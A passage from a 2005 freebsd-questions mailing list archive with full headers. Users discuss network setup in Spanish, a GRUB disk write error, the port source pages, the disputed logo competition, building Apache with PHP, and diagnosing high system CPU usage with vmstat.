from[201.137.226.236]) byAug 26 2004)) with ESMTP id <0IBO00JTJEYUCF@smtp.prodigy.net.mx>; Wed, 09 Feb 2005 21:28:06 -0600 (CST) Date: Wed, 09 Feb 2005 20:28:29 -0700 From: Martin Paredes In-reply-to: <000d01c50ea0$54ce7560$1a00a8c0@invitado> To: freebsd-questions@freebsd.org Message-id: <200502092028.29860.mapsware@prodigy.net.mx> Organization: MAPSware MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Content-disposition: inline User-Agent: KMail/1.7.2 X-imss-version: 2.022 X-imss-result: Passed X-imss-scores: Clean:97.02945 C:2 M:3 S:5 R:5 X-imss-settings: Baseline:4 C:4 M:4 S:4 R:4 (1.0000 1.0000) References: <000d01c50ea0$54ce7560$1a00a8c0@invitado> cc: Gustavo Granados Subject: Re: configuracion en la red X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 03:28:08 -0000 Gustavo: Esta es una lista en ingles, si se te dificulta el ingles, existe una lista= =20 que se escribe en espa=F1ol : freebsd@es.freebsd.org On Wednesday 09 February 2005 05:10, Gustavo Granados wrote: > como se configura en la red ? Tu pregunta es algo ambigua, ya que no dices que es lo que has realizado, p= ero=20 en pocas palabras, lo que tienes que hacer es saber que marca y modelo de=20 tarjeta tienes y si la soporta FreeBSD. Usa el comando "dmesg | grep thernet" para saber si FreeBSD reconocio una=20 tarjeta ethernet. usa el comando "ifconfig" para ver la configuracion de tu red. empieza una pregunta nueva en "freebsd@es.freebsd.org" usando la salida de = los=20 comandos anteriores. > > Gracias > Gustavo > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 03:29:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A0BB016A4CE for ; Thu, 10 Feb 2005 03:29:10 +0000 (GMT) Received: from nic.upatras.gr (nic.upatras.gr [150.140.129.30]) by mx1.FreeBSD.org (Postfix) with SMTP id B007143D31 for ; Thu, 10 Feb 2005 03:29:06 +0000 (GMT) (envelope-from ltsampros@upnet.gr) Received: (qmail 20834 invoked by uid 111); 10 Feb 2005 03:29:05 -0000 Received: from ltsampros@upnet.gr by nic.upatras.gr by uid 103 with qmail-scanner-1.22 ( Clear:RC:1(150.140.129.26):. Processed in 0.045584 secs); 10 Feb 2005 03:29:05 -0000 Received: from cormorant.upnet.gr (150.140.129.26) by nic.upatras.gr with SMTP; 10 Feb 2005 03:29:04 -0000 Received: (qmail 23025 invoked from network); 10 Feb 2005 03:29:31 -0000 Received: from upnet-dialinpool-65.upnet.gr (HELO bifteki.home.net) ([150.140.128.189]) (envelope-sender ) by cormorant.upnet.gr (qmail-ldap-1.03) with SMTP for ; 10 Feb 2005 03:29:31 -0000 Received: from bifteki.home.net (bifteki [127.0.0.1]) by bifteki.home.net (8.13.1/8.13.1) with ESMTP id j1A3VtD4005738 for ; Thu, 10 Feb 2005 05:31:55 +0200 (EET) (envelope-from gaghiel@bifteki.home.net) Received: (from gaghiel@localhost) by bifteki.home.net (8.13.1/8.13.1/Submit) id j1A3VsMH005737 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 05:31:54 +0200 (EET) (envelope-from gaghiel) Date: Thu, 10 Feb 2005 05:31:54 +0200 From: Leonidas Tsampros To: freebsd-questions@freebsd.org Message-ID: <20050210033154.GA5672@bifteki.home.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: Error 29: Disk write error while installing GRUB X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 03:29:10 -0000 Hello, I succesfully installed the grub port. I'm using 5.3-STABLE and i tried to install grub as my boot manager. I'm currently using windows,linux and freebsd. My hard disk configuration is the following: ad0s1 : my windows partition (ntfs) ad0s2 : my linux partition (ext2) ad1s1a : freebsd's root slice I wanted to install grub in the mbr of the first disk. Firstly, I copied all thefiles residing in /usr/local/share/grub/i386-freebsd in /boot/grub In order to achieve that i used the following configuration file in /boot/grub/menu.lst : --- default=saved timeout=10 #Boot Freebsd title Freebsd5.3 root(hd1,0,a) kernel /boot/loader makeactive savedefault #Boot Windows XP title WindowsXP root(hd0,0) makeactive chainloader +1 savedefault #Boot Linux title Linux2.4 root(hd0,1) kernel /boot/vmlinuz ro root=LABEL=/ hdb=ide-scsi makeactive savedefault --- After that, i ran as _root_ the grub cli and entered the following commands: ---- grub> find /boot/grub/stage1 (hd1,0,a) grub> root (hd1,0,a) Filesystem type is ufs2, partition type 0xa5 grub> setup (hd0) Checking if "/boot/grub/stage1" exists... yes Checking if "/boot/grub/stage2" exists... yes Checking if "/boot/grub/ufs2_stage1_5" exists... yes Running "embed /boot/grub/ufs2_stage1_5 (hd0)"... 15 sectors are embedded. succeeded Running "install /boot/grub/stage1 d (hd0) (hd0)1+15 p (hd1,0,a)/boot/grub/stage2 /boot/grub/menu.lst"... failed Error 29: Disk write error --- As you can easily point out, there is a failure in the last part of the installation. Are there any suggestions about it ? Please any replies to be cc'ed to ltsampros@upnet.gr as i'm not subscribed to this list. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 03:30:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B34616A4CE for ; Thu, 10 Feb 2005 03:30:50 +0000 (GMT) Received: from smtp.prodigy.net.mx (nlpproxy01.prodigy.net.mx [148.235.52.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2B4D043D3F for ; Thu, 10 Feb 2005 03:30:50 +0000 (GMT) (envelope-from mapsware@prodigy.net.mx) Received: from smtp.prodigy.net.mx (nlpproxy01 [148.235.52.21]) by smtp.prodigy.net.mx (iPlanet Messaging Server 5.2 HotFix 2.01 (built Aug 26 2004)) with ESMTP id <0IBO00LG3F3DQ2@smtp.prodigy.net.mx>; Wed, 09 Feb 2005 21:30:49 -0600 (CST) Received: from[201.137.226.236]) byAug 26 2004)) with ESMTP id <0IBO00AJSF3D5Q@smtp.prodigy.net.mx>; Wed, 09 Feb 2005 21:30:49 -0600 (CST) Date: Wed, 09 Feb 2005 20:31:12 -0700 From: Martin Paredes In-reply-to: <4209B58D.6000503@gmail.com> To: freebsd-questions@freebsd.org Message-id: <200502092031.12702.mapsware@prodigy.net.mx> Organization: MAPSware MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Content-disposition: inline User-Agent: KMail/1.7.2 X-imss-version: 2.022 X-imss-result: Passed X-imss-scores: Clean:75.66517 C:2 M:3 S:5 R:5 X-imss-settings: Baseline:4 C:4 M:4 S:4 R:4 (1.0000 1.0000) References: <4209B58D.6000503@gmail.com> Subject: Re: port source list from www.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 03:30:50 -0000 On Wednesday 09 February 2005 00:02, Vikash Badal wrote: > Greetings, > > <><><>I have looked at the following url : > > http://www.freebsd.org/cgi/pds.cgi?ports/www/squid > > <>and the sources are no longer listed, is this the default or is there > a problem with the pages > > I have tried several different ports and all produce the same result: > > <>Sorry, did not find the sources for ports/category/portname <> > http://www.freebsd.org/cgi/ports.cgi?query=%5Esquid&stype=all > Thanks > > vikash > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 04:22:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07DFB16A4CE for ; Thu, 10 Feb 2005 04:22:34 +0000 (GMT) Received: from smtpauth09.mail.atl.earthlink.net (smtpauth09.mail.atl.earthlink.net [209.86.89.69]) by mx1.FreeBSD.org (Postfix) with ESMTP id CBC8743D2F for ; Thu, 10 Feb 2005 04:22:33 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth09.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1Cz5qb-0007LZ-0z; Wed, 09 Feb 2005 23:22:33 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 22:23:01 -0600 User-Agent: KMail/1.6.2 References: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> <420AB463.2090502@celeritystorm.com> In-Reply-To: <420AB463.2090502@celeritystorm.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502092223.01650.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc8f36422d1c3720d8056e340dde208a93350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: - Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 04:22:34 -0000 On Wednesday 09 February 2005 07:09 pm, - wrote: > http://www.petitiononline.com/fbsdmsc1/petition.html > > Julien Gabel wrote: > >>>See the thread "The FreeBSD Project is announcing a public > >>> competition for the new logo design. ????" in -advocacy - I've > >>> already replied with my views on the subject, along the same > >>> lines as your comments. > >> > >>I'm not subscribed to -advocacy can you provide me with an archive > >>link to this thread in question? I wasn't able to find it based on > >> the subject you provided. > > > >You can follow this post at: > > http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ I have been watching the fallout regarding this issue on both the advocacy and questions email lists. It is clear from the advocacy list, that the announcement was made prematurely and did not convey the intended message either clearly or completely. It is clear from reading both lists that much of the anger is based upon false assumptions, misinformation and incomplete editing of the leaked document. I (just a user) ask that the petition effort be delayed until the official announcement is made and the issues can be drawn out and discussed more clearly. Humbly and respectfully, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 04:23:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 456F016A4CE for ; Thu, 10 Feb 2005 04:23:59 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6449243D45 for ; Thu, 10 Feb 2005 04:23:57 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j1A4NtYP090877 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 10 Feb 2005 11:23:55 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j1A4NsJ2081566; Thu, 10 Feb 2005 11:23:54 +0700 (ICT) Date: Thu, 10 Feb 2005 11:23:54 +0700 (ICT) Message-Id: <200502100423.j1A4NsJ2081566@banyan.cs.ait.ac.th> From: Olivier Nicole To: freebsd-questions@freebsd.org X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Apache + modssl + mod_php4 +++ X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 04:23:59 -0000 Hi, I am loston the procedure to install php4 with some extension and apache 1.3 with modssl and mod_php4. I found in the ports: lang/php4 lang/php4-extension www/mod_php4 www/apache13-modssl There must be a specific order to build/install these, but i cannot figure it out. TIA olivier From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 04:40:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 795CE16A4CE for ; Thu, 10 Feb 2005 04:40:08 +0000 (GMT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.190]) by mx1.FreeBSD.org (Postfix) with ESMTP id CD33443D2D for ; Thu, 10 Feb 2005 04:40:07 +0000 (GMT) (envelope-from oliverfuchs@onlinehome.de) Received: from [212.227.126.207] (helo=mrelayng.kundenserver.de) by moutng.kundenserver.de with esmtp (Exim 3.35 #1) id 1Cz67b-0003fP-00 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 05:40:07 +0100 Received: from [217.246.201.8] (helo=oliverfuchs.onlinehome.de) (TLSv1:EDH-RSA-DES-CBC3-SHA:168) (Exim 3.35 #1) id 1Cz67Z-0000h6-00 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 05:40:06 +0100 Received: from oliverfuchs.onlinehome.de (localhost.onlinehome.de [127.0.0.1]) j1A4e1iA002724 for ; Thu, 10 Feb 2005 05:40:01 +0100 (CET) (envelope-from oliverfuchs1@oliverfuchs.onlinehome.de) Received: (from oliverfuchs1@localhost) by oliverfuchs.onlinehome.de (8.13.1/8.13.1/Submit) id j1A4c877002703 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 05:38:08 +0100 (CET) (envelope-from oliverfuchs1) Date: Thu, 10 Feb 2005 05:38:08 +0100 From: Oliver Fuchs To: freebsd-questions@freebsd.org Message-ID: <20050210043808.GA2469@oliverfuchs.onlinehome.de> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050209212950.50123.qmail@web53902.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <20050209212950.50123.qmail@web53902.mail.yahoo.com> User-Agent: Mutt/1.4.2.1i X-Provags-ID: kundenserver.de abuse@kundenserver.de auth:c2b2791553508cc938db2bcf18721a3c Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 04:40:08 -0000 On Wed, 09 Feb 2005, stheg olloydson wrote: > P.S. Many cultures, such as the Japanese, think that "you get what you > pay for", so having the name FreeBSD is no different from being named > ShiteBSD. I am looking forward to the competition to rename the OS. The name also has to be changed: Free: for free - what are about the people in jail using FreeBSD re: for re - what about all the "contra" and "bock" B: countrycode for Belgium - what do people living in luxemburg think SD: for South Dakota or Sudan - what do the people in North Dakota think? Oliver -- ... don't touch the bang bang fruit From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 04:45:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8681D16A4CE for ; Thu, 10 Feb 2005 04:45:59 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 57E3843D41 for ; Thu, 10 Feb 2005 04:45:57 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Cz6DC-000Ood-Ro for freebsd-questions@FreeBSD.org; Wed, 09 Feb 2005 21:45:55 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <20050209225030.GH18088@keyslapper.net> References: <20050209215358.BBE0643D31@mx1.FreeBSD.org> <420A86FC.1090207@tvog.net> <20050209220204.A07EB43D2F@mx1.FreeBSD.org> <20050209221045.GA18867@fw.farid-hajji.net> <20050209225030.GH18088@keyslapper.net> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Wed, 9 Feb 2005 21:45:54 -0700 To: freebsd-questions@FreeBSD.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50,PLING_PLING autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 04:45:59 -0000 On Feb 9, 2005, at 3:50 PM, Louis LeBlanc wrote: > And in the past, I've only ever worn or > used logos if they were for the Red Sox, the Patriots (and even those > sparingly), or a free shirt. Hey, free is free, right? What, no Celtics? I will admit to having bought lots of Apple shirts and a Celtics shirt. The rest of my logos shirts are of the free sort I pick up at conferences and from vendors :-) As regards the thread topic. I think the poster who mentioned that a logo and a mascot are not necessarily the same. That is a valid point. I think it would be bad if "Beastie" were to disappear. But there is an advantage to having a more "business like" logo in addition to the mascot for those times when such things as "Beastie" might be imprudent. Chad From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 05:00:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1823116A4CE for ; Thu, 10 Feb 2005 05:00:32 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id A960943D2D for ; Thu, 10 Feb 2005 05:00:31 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Cz6RJ-00003C-T4; Wed, 09 Feb 2005 22:00:31 -0700 In-Reply-To: <20050209213253.O94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209104047.GN8619@alzatex.com> <20050209210602.X94338@ganymede.hub.org> <20050209213253.O94338@ganymede.hub.org> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Wed, 9 Feb 2005 22:00:29 -0700 To: "Marc G. Fournier" X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: 99% CPU usage in System (Was: Re: vinum in 4.x poor performer?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 05:00:32 -0000 On Feb 9, 2005, at 6:34 PM, Marc G. Fournier wrote: > > Most odd, there definitely has to be a problem with the Dual-Xeon > ysystem ... doing the same vmstat on my other vinum based system, > running more, but on a Dual-PIII shows major idle time: > > # vmstat 5 > procs memory page disks faults > cpu > r b w avm fre flt re pi po fr sr da0 da1 in sy cs > us sy id > 20 1 0 4088636 219556 1664 1 2 1 3058 217 0 0 856 7937 2186 > 51 15 34 > 20 1 0 4115372 224220 472 0 0 0 2066 0 0 35 496 2915 745 > 7 7 86 > 10 1 0 4125252 221788 916 0 0 0 2513 0 2 71 798 4821 1538 > 6 11 83 > 9 1 0 36508 228452 534 0 0 2 2187 0 0 46 554 3384 1027 > 3 8 89 > 11 1 0 27672 218828 623 0 6 0 2337 0 0 61 583 2607 679 > 3 9 88 > 16 1 0 5776 220540 989 0 0 0 2393 0 9 32 514 3247 1115 > 3 8 90 > > Which leads me further to believe this is a Dual-Xeon problem, and > much further away from believing it has anything to do with software > RAID :( I only use AMD, so I cannot provide specifics, but look in the BIOS at boot time and see if there is anything strange looking in the settings. Chad > > > On Wed, 9 Feb 2005, Marc G. Fournier wrote: > >> >> still getting this: >> >> # vmstat 5 >> procs memory page disks faults >> cpu >> r b w avm fre flt re pi po fr sr da0 da1 in sy cs >> us sy id >> 11 2 0 3020036 267944 505 2 1 1 680 62 0 0 515 4005 918 >> 7 38 55 >> 19 2 0 3004568 268672 242 0 0 0 277 0 0 3 338 2767 690 >> 1 99 0 >> 21 2 0 2999152 271240 135 0 0 0 306 0 6 9 363 1749 525 >> 1 99 0 >> 13 2 0 3001508 269692 87 0 0 0 24 0 3 3 302 1524 285 >> 1 99 0 >> 17 2 0 3025892 268612 98 0 1 0 66 0 5 6 312 1523 479 >> 3 97 0 >> >> Is there a way of determining what is sucking up so much Sys time? >> stuff like pperl scripts running and such would use 'user time', no? >> I've got some high CPU processes running, but would expect them to be >> shooting up the 'user time' ... >> >> USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME >> COMMAND >> setiathome 21338 16.3 0.2 7888 7408 ?? RJ 9:05PM 0:11.35 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_queuerun -v 0 >> setiathome 21380 15.1 0.1 2988 2484 ?? RsJ 9:06PM 0:02.42 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d >> postgresql.org -l pgsql-sql -P10 -p10 >> setiathome 21384 15.5 0.1 2988 2484 ?? RsJ 9:06PM 0:02.31 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d >> postgresql.org -l pgsql-docs -P10 -p10 >> setiathome 21389 15.0 0.1 2720 2216 ?? RsJ 9:06PM 0:02.06 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d >> postgresql.org -l pgsql-hackers -P10 -p10 >> setiathome 21386 13.7 0.1 2720 2216 ?? RsJ 9:06PM 0:02.03 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d >> postgresql.org -l pgsql-ports -P10 -p10 >> setiathome 21387 13.2 0.1 2724 2220 ?? RsJ 9:06PM 0:01.92 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d >> postgresql.org -l pgsql-interfaces -P10 -p10 >> setiathome 21390 14.6 0.1 2724 2216 ?? RsJ 9:06PM 0:01.93 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -o -d >> postgresql.org -l pgsql-performance -P10 -p10 >> setiathome 21330 12.0 0.2 8492 7852 ?? RJ 9:05PM 0:15.55 >> /usr/bin/perl -wT /dev/fd/3//usr/local/www/mj/mj_wwwusr (perl5.8.5) >> setiathome 7864 8.9 0.2 8912 8452 ?? RJ 7:20PM 29:54.88 >> /usr/bin/perl -wT /usr/local/majordomo/bin/mj_trigger -t hourly >> >> Is there some way of finding out where all the Sys Time is being >> used? Something more fine grained them what vmstat/top shows? >> >> >> On Wed, 9 Feb 2005, Loren M. Lang wrote: >> >>> On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote: >>>> Is there a command that I can run that provide me the syscall/sec >>>> value, >>>> that I could use in a script? I know vmstat reports it, but is >>>> there an >>>> easier way the having to parse the output? a perl module maybe, that >>>> already does it? >>> vmstat shouldn't be too hard to parse, try the following: >>> vmstat|tail -1|awk '{print $15;}' >>> To print out the 15th field of vmstat. Now if you want vmstat to >>> keep >>> running every five seconds or something, it's a little more >>> complicated: >>> vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}' >>>> Thanks ... >>>> On Wed, 9 Feb 2005, Marc G. Fournier wrote: >>>>> On Tue, 8 Feb 2005, Dan Nelson wrote: >>>>>> Details on the array's performance, I think. Software RAID5 will >>>>>> definitely have poor write performance (logging disks solve that >>>>>> problem but vinum doesn't do that), but should have excellent read >>>>>> rates. From this output, however: >>>>>>> systat -v output help: >>>>>>> 4 users Load 4.64 5.58 5.77 >>>>>>> Proc:r p d s w Csw Trp Sys Int Sof Flt >>>>>>> 24 9282 949 8414***** 678 349 8198 >>>>>>> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl >>>>>>> Disks da0 da1 da2 da3 da4 pass0 pass1 >>>>>>> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >>>>>>> tps 23 2 4 3 1 0 0 >>>>>>> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >>>>>>> % busy 3 1 1 1 0 0 0 >>>>>> , it looks like your disks aren't being touched at all. You are >>>>>> doing >>>>>> over 99999 syscalls/second, though, which is mighty high. The >>>>>> 50% Sys >>>>>> doesn't look good either. You may have a runaway process doing >>>>>> some >>>>>> syscall over and over. If this is not an MPSAFE syscall (see >>>>>> /sys/kern/syscalls.master ), it will also prevent other processes >>>>>> from >>>>>> making non-MPSAFE syscalls, and in 4.x that's most of them. >>>>> Wow, that actually pointed me in the right direction, I think ... >>>>> I just >>>>> killed an http process that was using alot of CPU, and syscalls >>>>> drop'd >>>>> down to a numeric value again ... I'm still curious as to why this >>>>> only >>>>> seem sto affect my Dual-Xeon box though :( >>>>> Thanks ... >>>>> ---- >>>>> Marc G. Fournier Hub.Org Networking Services >>>>> (http://www.hub.org) >>>>> Email: scrappy@hub.org Yahoo!: yscrappy >>>>> ICQ: 7615664 >>>>> _______________________________________________ >>>>> freebsd-questions@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>>> To unsubscribe, send any mail to >>>>> "freebsd-questions-unsubscribe@freebsd.org" >>>> ---- >>>> Marc G. Fournier Hub.Org Networking Services >>>> (http://www.hub.org) >>>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>>> 7615664 >>>> _______________________________________________ >>>> freebsd-questions@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>> To unsubscribe, send any mail to >>>> "freebsd-questions-unsubscribe@freebsd.org" >>> -- >>> I sense much NT in you. >>> NT leads to Bluescreen. >>> Bluescreen leads to downtime. >>> Downtime leads to suffering. >>> NT is the path to the darkside. >>> Powerful Unix is. >>> Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc >>> Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C >> >> ---- >> Marc G. Fournier Hub.Org Networking Services >> (http://www.hub.org) >> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >> 7615664 >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> > > ---- > Marc G. Fournier Hub.Org Networking Services > (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: > 7615664 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 05:04:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E639416A4CE for ; Thu, 10 Feb 2005 05:04:04 +0000 (GMT) Received: from web51703.mail.yahoo.com (web51703.mail.yahoo.com [206.190.38.221]) by mx1.FreeBSD.org (Postfix) with SMTP id 597B143D2D for ; Thu, 10 Feb 2005 05:04:04 +0000 (GMT) (envelope-from sarav_gsa@yahoo.com) Received: (qmail 5671 invoked by uid 60001); 10 Feb 2005 05:04:03 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=1T1RvXJtFYruudhreQl7cA//l/PMv7Wn4/PAYj+Bd+duF79ipAUrUgvYf3OnM4NY/oRhtWBcBANOGDQvBQW/rUkG6qgBsJ/aL76/VBZWRgiRRA1b9TQoCTJD6c5+Ec3Kx6EAknsqScXbMsiPlE4QEkzsaZWi8RS6Kg5sRBftPFA= ; Message-ID: <20050210050403.5669.qmail@web51703.mail.yahoo.com> Received: from [203.193.155.110] by web51703.mail.yahoo.com via HTTP; Wed, 09 Feb 2005 21:04:03 PST Date: Wed, 